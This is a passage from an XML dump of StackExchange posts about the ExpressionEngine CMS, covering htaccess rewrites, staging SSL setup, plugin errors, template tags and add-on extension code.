  <row Id="31085" PostTypeId="2" ParentId="31082" CreationDate="2015-04-17T18:38:58.270" Score="6" Body="&lt;p&gt;Anyone that's not logged in is part of the &quot;Guest&quot; group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Members &gt; Member Groups &gt; Edit Member Group (Guest)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should be here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/system/index.php?S=0&amp;amp;D=cp&amp;amp;C=members&amp;amp;M=edit_member_group&amp;amp;group_id=3&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-04-17T18:38:58.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31086" PostTypeId="1" AcceptedAnswerId="31091" CreationDate="2015-04-17T19:39:33.953" Score="1" ViewCount="66" Body="&lt;p&gt;Google's Webmaster Tools tells me I have a bunch of pages without titles. Upon examining the URLs listed, it would appear these are a mix of faulty links, deleted posts, changed titles. Somewhere, they must still be referenced (probably not on my site), and because the url structure is essentially correct, EE outputs a page with everything but an entry on, so of course it lacks a title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the options for dealing with something like this? I may be somewhat limited by the fact that I use some non-standard rewrites to compensate for how the site was initially setup. I'll include an example below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/?((About|Contact|Copyright|Privacy_Policy|Search)(/.*)?)$ /index.php/Westeros/$1 [NC,L]&#xA;RewriteRule ^/?((Digest|Links|Store|Updates)(/.*)?)$ /index.php/$1 [NC,L]&#xA;RewriteRule ^/?Citadel/((Editions|Spoilers)(/.*)?)$ /Citadel/index.php/Citadel/$1 [NC,L]&#xA;RewriteRule ^/?Citadel/((Articles|Concordance|FAQ|Gallery|Heraldry|Prophecies|SSM)(/.*)?)$ /Citadel/index.php/$1 [NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first rule is of course an iffy one, since it breaks the rule of not taking out template groups. The second is just a variant on the typical index.php removal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third and fourth rules exemplify the same thing except for one of the subsites which reside in an actual subdirectory and use their own index.php (but the same .htaccess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that setup, is there anything I can do to keep EE from treating incorrect urls following /Entry/ as valid pages?&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2015-04-18T14:47:36.240" Title="How to keep EE from rendering invalid urls as valid pages?" Tags="|url|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31087" PostTypeId="1" AcceptedAnswerId="31088" CreationDate="2015-04-17T22:05:27.123" Score="1" ViewCount="60" Body="&lt;p&gt;I'm trying to use Low Replace to correct URLs in a standard text field in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes the URL is inputted correctly, for example &lt;a href=&quot;http://www.a-website.com&quot; rel=&quot;nofollow&quot;&gt;http://www.a-website.com&lt;/a&gt; other times they are inputted incorrectly ie www.another-website.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I nearly have the solution, but the colon after http isn't being rendered on the page, so the corrected URL for the above example comes out as http//www.another-website.com. Please see my code below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;www.&quot; replace=&quot;http://www.&quot;}&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{website}&quot; target=&quot;_blank&quot;&amp;gt;Website&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1149" LastEditorUserId="366" LastEditDate="2015-04-18T19:02:41.303" LastActivityDate="2015-04-18T19:02:41.303" Title="How to correct misformatted URLs in input" Tags="|url|low-replace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31088" PostTypeId="2" ParentId="31087" CreationDate="2015-04-17T23:06:08.683" Score="2" Body="&lt;p&gt;A lot of people doesn't know, but EllisLab has a first party &lt;a href=&quot;https://github.com/EllisLab/Valid-Url&quot; rel=&quot;nofollow&quot;&gt;add-on&lt;/a&gt; for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{exp:valid_url}{website}{/exp:valid_url}&quot; target=&quot;_blank&quot;&amp;gt;Website&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's several first party &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/#available-for-download&quot; rel=&quot;nofollow&quot;&gt;add-ons available for download&lt;/a&gt;, despite not included on EECMS by default.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-04-18T12:06:39.757" LastActivityDate="2015-04-18T12:06:39.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31089" PostTypeId="1" AcceptedAnswerId="31226" CreationDate="2015-04-18T02:28:12.970" Score="1" ViewCount="48" Body="&lt;p&gt;Having an issue w/ this EE add-on where if an Amazon product isn't found with a specific ID I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.&#xA;&#xA;Parser State: Unexpected end of Template “article/index” on line 157; expected ENDIF tag for opening on line 46 in Template “layouts/.html-layout”.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's how I'm using the tags in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if amazon_product_asin_or_isbn}&#xA;&amp;lt;div class=&quot;panel PanelProduct clearfix&quot;&amp;gt;&#xA;  {exp:aws_products:search&#xA;    item_id=&quot;{amazon_product_asin_or_isbn}&quot;&#xA;    associate_id=&quot;{associate_id}&quot;&#xA;    public_key=&quot;{public_key}&quot; private_key=&quot;{private_key}&quot;&#xA;  }&#xA;  &amp;lt;div class=&quot;PanelProduct-imageContainer left&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{img_large}&quot; alt=&quot;&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;PanelProduct-content right&quot;&amp;gt;&#xA;    &amp;lt;h3 class=&quot;Article-subheading&quot;&amp;gt;Related Product:&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;h4 class=&quot;PanelProduct-heading&quot;&amp;gt;{product_name}&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;div class=&quot;PanelProduct-info&quot;&amp;gt;{catalog_type} | {publisher}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;a class=&quot;button small u-mediumTopMargin u-noMarginBot&quot; href=&quot;{amazon_link}&quot; target=&quot;_blank&quot;&amp;gt;{best_price} on Amazon&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/exp:aws_products:search}&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then tried using this if statement within the tags to only render the product panel if there is a product found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if aws_count &amp;gt; 0}   {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then I get this error in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Notice&#xA;&#xA;Message: Undefined index: !-- ra:000000003bf7ea8400000001087a7b32 --&#xA;&#xA;Filename: aws_products/pi.aws_products.php&#xA;&#xA;Line Number: 237&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like any if statements within the tags break the plugin. So how can I integrate the tags in a way that detects if there's a valid product ID filled in without totally breaking the page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using AWS Products 3.1.0 on EE 2.9.2&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2015-04-28T20:23:27.743" Title="Amazon Web Services (AWS) Products plugin Error" Tags="|plugin|amazon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31090" PostTypeId="1" CreationDate="2015-04-18T09:48:20.670" Score="0" ViewCount="1098" Body="&lt;p&gt;I'm trying to set up a staging subdomain in a subfolder under the webroot of the main production site for testing and deploying changes for a EE e-commerce website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope one or two of the more experienced EE Devs that contribute here can easily spot how I can make things work for this set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the most part, things are working as they should except for testing transactions on the checkout pages, which are the only SSL templates on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public_html (http://www.domain.com or https://www.domain.com)&#xA;↳ staging (http://staging.domain.com or https://staging.domain.com)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When going to &lt;a href=&quot;http://staging.domain.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://staging.domain.com&lt;/a&gt; the 2nd installation in the subfolder runs just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When going to &lt;a href=&quot;https://staging.domain.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://staging.domain.com&lt;/a&gt; the 1st installation is being rendered instead. The production site DOES NOT have a wildcard domain SSL setup... which looks to be the reason this is happening. &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7761/ssl-certificate-on-https-secure-domainname-com&quot;&gt;This previous SE post has been insightful&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On other CMSs, I've easily solved this issue simply by adding the following to the webroot .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^staging\.&#xA;RewriteCond %{HTTPS} on&#xA;RewriteRule ^(.*)$ staging/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The subdomain commerce pages do not actually need to be properly secured to avoid certificate warnings, because it is locked off from public access and it is only used by myself and a staff member to test changes before they are pushed to production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have access to httpd.conf on this server, so over recent days I've tried numerous htaccess approaches. They all result in either 500 internal server errors, 404s or 403s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few. All of these are being placed in the webroot to try and catch the subdomain SSL misdirection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;################# Redirect requests to subfolder EE index file = White Death&#xA;RewriteCond %{HTTP_HOST} ^staging\.&#xA;RewriteCond %{REQUEST_URI} !^/staging/&#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;RewriteCond %{REQUEST_FILENAME} !-d &#xA;RewriteRule ^(.*)$ /staging/$1&#xA;RewriteCond %{HTTP_HOST} ^staging\.&#xA;# Direct requests to subfolder EE's index file&#xA;RewriteRule ^(.*)$ /staging/index.php/$1 [L]&#xA;&#xA;################# Document Root rewrite = Displays webroot not subdomain&#xA;RewriteCond %{HTTP_HOST} ^staging\.&#xA;RewriteRule %{DOCUMENT_ROOT} /home/user/public_html/staging/$1&#xA;&#xA;################# Document Root rewrite 2 = White Death&#xA;RewriteCond %{HTTP_HOST} ^staging\.&#xA;RewriteCond %{DOCUMENT_ROOT} /home/user/public_html&#xA;RewriteCond %{DOCUMENT_ROOT} !/home/user/public_html/staging&#xA;RewriteRule (.*)  /home/user/public_html/staging/$1 [PT] (Tried pretty much every flag I could think of here)&#xA;&#xA;################# SSL 443 port subdomain redirect webroot to subfolder = 403 errors&#xA;RewriteCond %{SERVER_PORT} ^443$&#xA;RewriteCond %{HTTP_HOST} ^staging\. [NC]&#xA;RewriteCond %{REQUEST_URI} !^/staging/&#xA;RewriteRule ^(.*) staging/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And This is the current webroot EE rewrite for removing index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;RewriteCond %{REQUEST_URI} !/staging/.* [NC]&#xA;RewriteCond %{HTTP_HOST} !^staging\. [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;# Directs all EE web requests through the site index file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also played around a bit with the config file settings on the subdomain install, to see if altering the DOCUMENT ROOT helps if SSL is detected for traffic being redirected from the webroot. I'm not sure this is the solution, but perhaps it is and I'm not applying things correctly. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$protocol = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';&#xA;if ($protocol == 'http://') {&#xA;  $base_path = $_SERVER['DOCUMENT_ROOT'];&#xA;} else {&#xA;  $base_path = $_SERVER['DOCUMENT_ROOT'] . '/staging';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what I'm basically trying to do is set up the subdomain to test a few templates as SSL, without having a wildcard domain SSL in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help.&lt;/p&gt;&#xA;" OwnerUserId="1255" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2023-07-18T21:07:00.810" Title="SSL Subdomain Staging Site in Subfolder is Resolving Webroot Instead" Tags="|htaccess|ssl|subdomain|staging-server|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31091" PostTypeId="2" ParentId="31086" CreationDate="2015-04-18T14:47:36.240" Score="2" Body="&lt;p&gt;It sounds like you have single entry pages that should be outputting a 404 instead of rendering the page without a valid entry. Check your tags on these pages to ensure they are using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;require_entry=&lt;/code&gt; parameter&lt;/a&gt;. Used &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/404pages.html#example-1&quot; rel=&quot;nofollow&quot;&gt;in conjunction with&lt;/a&gt; a &lt;code&gt;{redirect=&quot;404&quot;}&lt;/code&gt;, that will address landing on entry URLs that are not valid.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-04-18T14:47:36.240" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31092" PostTypeId="2" ParentId="31084" CreationDate="2015-04-18T15:13:19.637" Score="0" Body="&lt;p&gt;The order status message is only sent to the customer if you template the status message field in one of your email templates.  Without doing that you shouldn't have a problem with using it an admin only readable field. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-04-18T15:13:19.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31093" PostTypeId="2" ParentId="31081" CreationDate="2015-04-18T23:24:47.770" Score="0" Body="&lt;p&gt;Please excuse my ignorence if I've got you wrong, but are you simply asking how to get a value from the URL and put it into the &lt;em&gt;results&lt;/em&gt; tag parameters? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% familiar with super search however I assume it allows the rest of the URL to be processed as a search request? channel, category, XID (ect)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in your code example you are seperating parameters with &lt;code&gt;&amp;amp;amp;&lt;/code&gt;, is this in fact &lt;code&gt;&amp;amp;&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to the question and assuming the above, you could use PHP to query the GET values, set your template to PHP on Input : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $incCat = strtolower( ee()-&amp;gt;input-&amp;gt;get('inclusive_categories', true) );&#xA;    $incCat = !in_array($incCat, array( 'no', 'false', '0', 'off' ) );&#xA;?&amp;gt;&#xA;&#xA;{exp:super_search:results inclusive_categories=&quot;&amp;lt;?php echo ( $incCat ? 'yes' : 'no' ); ?&amp;gt;&quot;}&#xA;    {!-- Results --}&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-18T23:24:47.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31094" PostTypeId="2" ParentId="31025" CreationDate="2015-04-18T23:51:41.027" Score="1" Body="&lt;p&gt;You'll definatly need to develop an extension which hooks freeform. Sounds complicated but its real easy, I've done it many times with freeform (you'll be suprised what clieents ask for) and you'll only be writing the smallest of extensions really.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating extensions is documented here ; &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extensions.html&lt;/a&gt;, and the freeform hook itself is documented here ; &lt;a href=&quot;http://www.solspace.com/docs/freeform/extension_hooks/#freeform_module_admin_notification&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/extension_hooks/#freeform_module_admin_notification&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll be looking to hook on &lt;code&gt;freeform_module_admin_notification&lt;/code&gt; so as not to interfere with user destined emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentually when your done, you'll have an extension that fires a function whenever an admin notification is going to be sent, you'll get a &lt;code&gt;$vars&lt;/code&gt; array with all the message details and such in it, and a &lt;code&gt;$fields&lt;/code&gt; variable with the postedd fields in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'de recommend setting up your email choices as a bone fide freeform field (for example &lt;code&gt;notify_choice&lt;/code&gt;), you don't have to include it in the email messsage template but this will ensure the users choice is available via the &lt;code&gt;$fields&lt;/code&gt; variable. Then much like the example on the freeform docs : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function freeform_module_user_notification($fields, $e_id, $vars, $f_id, $obj)&#xA;{&#xA;&#xA;    //have other extensions already manipulated?&#xA;    if (ee()-&amp;gt;extensions-&amp;gt;last_call !== FALSE) {&#xA;        $vars = ee()-&amp;gt;extensions-&amp;gt;last_call;&#xA;    }&#xA;&#xA;    //these are the admin emails and the corrisponding form values&#xA;    $adminEmails = array(&#xA;        0 =&amp;gt; 'admin1@site.com',&#xA;        1 =&amp;gt; 'admin2@site.com',&#xA;        2 =&amp;gt; 'admin3@site.com'&#xA;    );&#xA;&#xA;    //what recipients did the user choose?&#xA;    $choices = $fields['notify_choice'];&#xA;&#xA;    //here we process the choices perhaps like this AS EXAMPLE&#xA;    $recipientEmails = array();&#xA;    foreach ( $choice in $choices ) { &#xA;        if ( in_array ( $choice, array_keys( $adminEmails ) ) { &#xA;            $recipientEmails[] = $adminEmails[$choice];&#xA;        } &#xA;    }&#xA;&#xA;    //reset the recipients for the admin email&#xA;    $vars['recipients'] = $recipientEmails;&#xA;&#xA;    //required&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-18T23:51:41.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31095" PostTypeId="1" AcceptedAnswerId="31473" CreationDate="2015-04-19T00:42:27.183" Score="0" ViewCount="151" Body="&lt;p&gt;I am trying to get an existing EE site working with MSM. I upgraded the site earlier from 2.1.2 to 2.9.3. Once that was working, I then installed MSM 2.1.7. When I enable MSM in the CP I get several PHP errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: apc_delete_file() [function.apc-delete-file]: Could not stat file /nfs/c10/h04/mnt/123456/domains/domain.com/html/system/expressionengine/config/config.php, unable to delete from cache.&#xA;Filename: core/EE_Config.php&#xA;Line Number: 1222&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Cannot modify header information - headers already sent by (output started at /nfs/c10/h04/mnt/123456/domains/domain.com/html/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Input.php&#xA;Line Number: 213&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Cannot modify header information - headers already sent by (output started at /nfs/c10/h04/mnt/123456/domains/domain.com/html/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 446&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this happens, trying to access any page on the site gives &quot;Site Error: Unable to Load Site Preferences; No Preferences Found&quot; messages. Disabling MSM in the config.php gets the site working again, but how do I complete this so that MSM is working?&lt;/p&gt;&#xA;" OwnerUserId="6237" LastActivityDate="2015-05-12T21:36:14.783" Title="PHP Errors When Enabling MSM" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31096" PostTypeId="1" AcceptedAnswerId="31097" CreationDate="2015-04-19T01:27:40.480" Score="1" ViewCount="113" Body="&lt;p&gt;I am designing a website for a fashion label who have collections every season, and they do multiple 'projects' for each collection. For instance artwork, videos etc. For instance Collection A may have 3 projects attached to it, and Collection B may have 2 projects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Collections&lt;br/&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- title (text input)&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- url_title (text input)&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- collection-year (text input)&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- season (select dropdown)&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- images (channel images)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Projects&lt;br/&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- title (text input)&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- url_title (text input)&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- project-collection (relationship to collection)&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- project-images (channel images)&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relationships seem like the best way to link a project with a collection. What I'm struggling with though is creating a submenu for the projects that are grouped by collection. For instance...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Collection A&#xA;- Project 1A&#xA;- Project 2A&#xA;- Project 3A&#xA;&#xA;Collection B&#xA;- Project 1B&#xA;- Project 2B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Michael&lt;/p&gt;&#xA;" OwnerUserId="6193" LastEditorUserId="343" LastEditDate="2015-04-19T12:32:26.483" LastActivityDate="2015-04-19T12:32:26.483" Title="Relationships – How to know which one is the parent and which one is the child" Tags="|channel-entries|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31097" PostTypeId="2" ParentId="31096" CreationDate="2015-04-19T04:02:10.713" Score="1" Body="&lt;p&gt;If on every &lt;strong&gt;project&lt;/strong&gt; you have to choose the &lt;strong&gt;collection&lt;/strong&gt; it points to, the collections turns being &lt;strong&gt;their child entries&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the menu, grouping by the collections, you gonna have to look for each one parent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;colletions&quot;}&#xA;  {title}&#xA;  {parents field=&quot;project-collection&quot;}&#xA;    {parents:title}&#xA;  {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To who is submitting the data, is quite the opposite: they can see every project as a child of the collections. This is why, from a template coding perspective, it can looks like a little confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think this way: the channel entry which has to be submitted before is always the child and the channel which has the relationship field is always the parent. As the &lt;em&gt;collection&lt;/em&gt; have to be created before the &lt;em&gt;projects&lt;/em&gt;, they're the &lt;strong&gt;child&lt;/strong&gt; entries.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-04-19T04:02:10.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31098" PostTypeId="1" CreationDate="2015-04-19T04:40:31.040" Score="1" ViewCount="75" Body="&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; This appears to work out of the box, as long as everything is set up and coded correctly. See my comment below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using {exp:cartthrob:update_cart_form}, is there a way to make items with an updated quantity of 0 reliably delete from the cart when the form is submitted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any documentation or postings on this question, but I'm hoping there is a way. It makes no sense to me that a customer can update their quantity to any other number, but 0 has no effect. Setting a quantity to 0 &lt;em&gt;should&lt;/em&gt; bring the same result as calling delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my testing, if I have a cart with multiple items, the last item listed will sometimes delete from the cart if I update it's quantity to 0. However, this is inconsistent. Setting quantity to 0 on any other item in the cart has no effect.&lt;/p&gt;&#xA;" OwnerUserId="6238" LastEditorUserId="6238" LastEditDate="2015-04-27T07:31:40.477" LastActivityDate="2015-04-27T07:31:40.477" Title="(Not an issue) In CartThrob, how can I delete an item from the cart by updating it's quantity to 0?" Tags="|cartthrob|add-on|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31099" PostTypeId="2" ParentId="26245" CreationDate="2015-04-19T11:20:16.533" Score="0" Body="&lt;p&gt;Could it be something with time zones? Maybe try doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SET time_zone = 'America/Denver'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/930900/how-to-set-time-zone-of-mysql&quot;&gt;https://stackoverflow.com/questions/930900/how-to-set-time-zone-of-mysql&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-04-19T11:20:16.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31100" PostTypeId="1" AcceptedAnswerId="31101" CreationDate="2015-04-19T13:24:45.010" Score="0" ViewCount="31" Body="&lt;p&gt;This question is more of I'd like to know rather than an issue for me right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the table exp_channel_data Playa fields store a string using the following fields from the relationship channel entry: &quot;[entry_id] [url_title] title&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the table exp_playa_relationships is the one that stores the IDs between parent, child etc. This is the only table that is updated if one of the entries are edited. So why is the string stored in the exp_channel_data table?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2015-04-19T18:11:30.050" Title="Playa DB field structure" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31101" PostTypeId="2" ParentId="31100" CreationDate="2015-04-19T18:11:30.050" Score="1" Body="&lt;p&gt;Searchability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Storing data in the exp_channel_data table makes the field searchable by the native search module as well as third party add-ons like Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, it also allows the field to be targeted by the channel:entries' search:field_name parameter, eg. &lt;code&gt;search:playa_field=&quot;[123]&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-04-19T18:11:30.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31102" PostTypeId="2" ParentId="30732" CreationDate="2015-04-19T20:46:30.867" Score="1" Body="&lt;p&gt;The answer lies in CodeIgniter's Email library. You'll see that in many places the &lt;code&gt;header_str&lt;/code&gt; is used, not the whole &lt;code&gt;headers&lt;/code&gt; array. So you'd have to add to the &lt;code&gt;header_str&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for sending with other methods, you'll see that the &lt;code&gt;subject&lt;/code&gt; is never used with SMTP or Sendmail - instead those assume that the subject is already in the &lt;code&gt;header_str&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shameless plug: my &lt;a href=&quot;http://amphibian.info/software/ee/escort&quot; rel=&quot;nofollow&quot;&gt;Escort add-on&lt;/a&gt; allows you to easily send email with Mandrill (and other services) and offers a simple hook to add any data you want to your email before it gets sent (see 